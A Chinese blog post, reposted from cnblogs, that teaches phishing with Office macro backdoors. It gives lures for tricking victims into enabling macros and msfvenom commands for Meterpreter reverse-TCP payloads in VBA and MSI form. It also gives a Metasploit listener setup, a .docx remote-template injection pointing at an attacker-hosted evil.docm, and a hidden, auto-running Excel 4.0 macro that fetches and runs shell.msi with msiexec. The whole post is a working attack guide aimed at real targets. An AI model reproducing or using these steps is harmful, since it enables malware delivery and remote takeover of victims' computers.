其他分享
首页 > 其他分享> > 钓鱼攻击之:OFFICE 宏后门文件钓鱼

钓鱼攻击之:OFFICE 宏后门文件钓鱼

作者:互联网

钓鱼攻击之:OFFICE 宏后门文件钓鱼

目录

1 宏病毒介绍

1.1 Word 宏

1.2 Excel 4.0宏

  1992年发布用于Windows 3.0和3.1的电子表格软件Excel 4.0。对于自动化,可以通过所谓的宏工作表在此版本的Excel中使用XLM宏。X由于Microsoft很早就使用VBA宏(Visual Basic for Applications)来代替Excel 4.0宏技术,这导致Excel 4.0宏并不为大众所熟知。并且Excel 4.0宏存放在Excel 97 - 2003格式(.xls)文件中。

2 生成 Word 宏后门

  1. 利用技巧:

    • 文档是被保护状态,需要启用宏才能查看;
    • 添加一张模糊的图片,提示需要启用宏才能查看高清图片;
    • 提示要查看文档,按给出的一系列步骤操作;
    • 贴一张某杀毒软件的Logo图片,暗示文档被安全软件保护。
  2. 利用CS生成宏后门Payload:attack-->payload--> office macro

    image-20211229114424708

    image-20211229114451233.png

  3. MSF生成宏:

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.2 lport=480 -f vba -o shellcode.txt
    
  4. 保存为支持宏的格式为:.docm

  5. 缺点:宏代码是存在本地的,且极易被杀软查杀

3 利用DOCX文件远程模板注入执行宏

  1. 利用技巧:需要创建两个不同的文件

    • 第一个是启用宏的模板.dotm文件,该文件包含恶意VBA宏,格式要选择
      • 注意:是.dotm格式,.docm经过测试无法运行(GET该文件显示304状态码)
    • 第二个是看似没有危害的.docx文件,本身不包含恶意代码,只有指向恶意模板文件的目标链接。
      • 注意:不要编写纯文本的文档
  2. 生成.docm 文件,参考步骤1.2.2

  3. 生成.docx文件

    1. 打开word

    2. 选择文件-->新建-->选择一个模板并点击创建-->保存该文档

    3. 修改该.docx文件后缀为.zip格式,并解压。

    4. 进入到解压后的文件如下目录:word\_rels,找到settings.xml.rels文件

    5. 打开并编辑settings.xml.rels文件

      <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
      <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\f_carey\AppData\Roaming\Microsoft\Templates\快照日历.dotm" TargetMode="External"/></Relationships>
      

      编辑Target如下,并保存:

      <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
      <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://192.168.0.2:8080/evil.docm" TargetMode="External"/></Relationships>
      
      • 将其修改为我们docm文件所在的URL
    6. 将其中所有目录及文件选中,点击右键压缩,选中压缩文件格式为.zip格式

    7. 然后将其后缀名修改为.docx格式,再将其打开

    8. 选择启用宏以后,远程服务器的模板成功加载

4 Excel 4.0 宏后门

  1. MSF生成MSI文件,并放在远程文件服务器上以供下载

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.50.2 lport=1080 -f msi -o shell.msi
    
  2. MSF监听会话

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost  192.168.50.2
    set lport  4444
    run -j 
    
  3. 新建一个Excel并打开-->右键点击左下角标签页,选择插入-->弹出的窗口选择:MS Excel 4.0 宏表

  4. 在宏1标签页中:

    # 在左上角第一个格子,输入以下内容,调用远程服务器上的shell.msi文件
    # 第二个格子输入以下内容,标识Excel 4.0宏结束
    =EXEC("msiexec /q /i http://192.168.50.2/shell.msi")
    =HALT()
    # 将左上角的A1模式修改为:Auto_Open,并Enter回车,自动运行宏。
    

    image-20220802194639589

  5. 为了避免对方打开能看到宏文件,增强隐蔽性,将宏1标签页进行隐藏。

  6. 保存为.xlsm格式文件

  7. 将文件发送给目标,当目标点击文件并启用宏时,宏会自动下载远程恶意MSI文件并运行,成功上线

    image-20220802195402012

标签:后门,文件,Word,OFFICE,钓鱼,宏病毒,Excel,文档,模板
来源: https://www.cnblogs.com/f-carey/p/16545036.html